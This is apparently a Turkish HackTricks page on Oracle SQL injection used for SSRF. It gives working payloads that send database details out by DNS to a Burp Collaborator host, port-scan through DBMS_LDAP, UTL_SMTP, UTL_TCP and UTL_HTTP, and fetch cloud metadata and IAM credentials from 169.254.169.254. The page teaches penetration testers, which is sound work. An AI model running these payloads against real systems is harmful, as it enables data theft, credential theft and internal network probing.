10 KiB
Oracle enjeksiyonu
AWS hacklemeyi sıfırdan kahraman olmaya öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!
HackTricks'i desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklam vermek isterseniz veya HackTricks'i PDF olarak indirmek isterseniz ABONELİK PLANLARINA göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Ailesi'ni keşfedin, özel NFT'lerimiz koleksiyonumuz
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter 🐦 @carlospolopm'ı takip edin.
- Hacking hilelerinizi HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.
Bu gönderiyi silinen gönderinin https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/ Wayback Machine kopyası olarak sunun.
SSRF
Oracle'ı kullanarak Out of Band HTTP ve DNS istekleri yapmak, enjeksiyonlarda SQL verilerini dışarı çıkarmak için iyi belgelenmiştir. Bu teknikleri/fonksiyonları her zaman diğer SSRF/XSPA işlemleri için de değiştirebiliriz.
Oracle kurulumu gerçekten zorlayıcı olabilir, özellikle komutları denemek için hızlı bir örnek oluşturmak isterseniz. Appsecco'daki arkadaşım ve meslektaşım Abhisek Datta, https://github.com/MaksymBilenko/docker-oracle-12c adresine yönlendirdi ve bu sayede bir t2.large AWS Ubuntu makinesinde ve Docker üzerinde bir örnek kurulum yapabildim.
Docker komutunu --network="host"
bayrağıyla çalıştırdım, böylece bu blog yazısı süresince Oracle'ı tam ağ erişimi olan yerel bir kurulum gibi taklit edebildim.
docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
Bir URL veya Bir Ana Bilgisayar Adı/Port Numarası belirtimi destekleyen Oracle paketleri
Bir ana bilgisayar ve port belirtimini destekleyen herhangi bir paket ve fonksiyonu bulmak için, Oracle Veritabanı Çevrimiçi Belgeleri üzerinde bir Google araması yaptım. Özellikle,
site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"
Arama aşağıdaki sonuçları döndürdü (hepsi dış ağa çıkış yapmak için kullanılamaz):
- DBMS_NETWORK_ACL_ADMIN
- UTL_SMTP
- DBMS_XDB
- DBMS_SCHEDULER
- DBMS_XDB_CONFIG
- DBMS_AQ
- UTL_MAIL
- DBMS_AQELM
- DBMS_NETWORK_ACL_UTILITY
- DBMS_MGD_ID_UTL
- UTL_TCP
- DBMS_MGWADM
- DBMS_STREAMS_ADM
- UTL_HTTP
Bu basit arama açıkçası DBMS_LDAP
gibi paketleri atlar (hostname ve port numarası geçmeyi sağlar) çünkü belgelendirme sayfası sizi farklı bir konuma yönlendirir. Bu nedenle, gözden kaçırdığım başka Oracle paketleri olabilir.
Her durumda, keşfettiğimiz ve yukarıda listelenen bazı paketlere bir göz atalım.
DBMS_LDAP.INIT
DBMS_LDAP
paketi, LDAP sunucularından veri erişimine izin verir. init()
işlevi, bir LDAP sunucusuyla bir oturumu başlatır ve bir hostname ve port numarasını argüman olarak alır.
Bu işlev daha önce DNS üzerinden veri sızdırma göstermek için belgelenmiştir, örneğin aşağıdaki gibi:
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
Ancak, işlevin bir ana bilgisayar adı ve bir bağlantı noktası numarası kabul ettiği göz önüne alındığında, bunu bir bağlantı noktası tarayıcısı gibi çalıştırmak için de kullanabilirsiniz.
İşte birkaç örnek:
SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
ORA-31203: DBMS_LDAP: PL/SQL - Başlatma Başarısız.
hatası, bir oturum değeri açık olan bağlantı noktasına işaret ederken, bağlantı noktasının kapalı olduğunu gösterir.
UTL_SMTP
UTL_SMTP
paketi, SMTP üzerinden e-posta göndermek için tasarlanmıştır. Oracle belgelendirme sitesindeki örnek, bu paketi kullanarak nasıl bir e-posta gönderebileceğinizi göstermektedir. Ancak bizim için ilginç olan şey, bir ana bilgisayar ve bağlantı noktası belirtme yeteneğidir.
Aşağıda, UTL_SMTP.OPEN_CONNECTION
işleviyle 2 saniyelik bir zaman aşımı ile basit bir örnek gösterilmektedir.
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
END;
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;
ORA-29276: transfer timeout
hatası, portun açık olduğunu ancak SMTP bağlantısının kurulmadığını gösterirken, ORA-29278: SMTP transient error: 421 Service not available
hatası, portun kapalı olduğunu gösterir.
UTL_TCP
UTL_TCP
paketi ve işlemleri, TCP/IP tabanlı hizmetlerle iletişim kurmayı sağlar. Belirli bir hizmet için programlandığında, bu paket ağa giriş yolu haline gelebilir veya bir TCP/IP bağlantısının tüm yönlerini kontrol ederek tam Sunucu Tarafı İstekler gerçekleştirebilir.
Oracle belgelendirme sitesindeki örnek bu paketi kullanarak bir web sayfasını almak için raw bir TCP bağlantısı yapabileceğinizi göstermektedir. Biz bunu biraz daha basitleştirerek, örneğin meta veri örneğine veya herhangi bir TCP/IP hizmetine istek yapmak için kullanabiliriz.
set serveroutput on size 30000;
SET SERVEROUTPUT ON
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
/
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
İlginç bir şekilde, ham TCP istekleri oluşturma yeteneği sayesinde bu paket, TCP isteği içinde yöntem türü ve ek başlıkların da iletilmesiyle tüm bulut sağlayıcıların Örnek meta veri hizmetini sorgulamak için de kullanılabilir.
UTL_HTTP ve Web İstekleri
Belki de her Oracle SQL Injection dışında OOB (Out of Band) Oracle SQL Injection öğreticisinde en yaygın ve geniş belgelenmiş teknik olan UTL_HTTP
paketi. Bu paket, belgelerde şu şekilde tanımlanmıştır - UTL_HTTP paketi, SQL ve PL/SQL'den Hypertext Transfer Protocol (HTTP) çağrıları yapar. İnternet üzerindeki verilere HTTP üzerinden erişmek için kullanabilirsiniz.
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
Ayrıca, şu gibi sorgularla basit bir port taraması yapmak için bunu da kullanabilirsiniz:
select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
ORA-12541: TNS:no listener
veya TNS:operation timed out
hatası, TCP bağlantı noktasının kapalı olduğunun bir işaretidir, oysa ORA-29263: HTTP protocol error
veya veri, bağlantı noktasının açık olduğunun bir işaretidir.
Geçmişte değişen başarıyla kullandığım başka bir paket, HTTPURITYPE
Oracle soyut tipinin GETCLOB()
yöntemidir. Bu yöntem, bir URL ile etkileşimde bulunmanıza ve HTTP protokolü için destek sağlar. GETCLOB()
yöntemi, bir URL'den GET yanıtını CLOB veri türü olarak almak için kullanılır.[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
AWS hacklemeyi sıfırdan kahraman olmak için öğrenin htARTE (HackTricks AWS Red Team Expert)!
HackTricks'i desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek isterseniz veya HackTricks'i PDF olarak indirmek isterseniz ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- Özel NFT'lerden oluşan koleksiyonumuz The PEASS Family'i keşfedin
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter 🐦 @carlospolopm'u takip edin.
- Hacking hilelerinizi HackTricks ve HackTricks Cloud github reposuna PR göndererek paylaşın.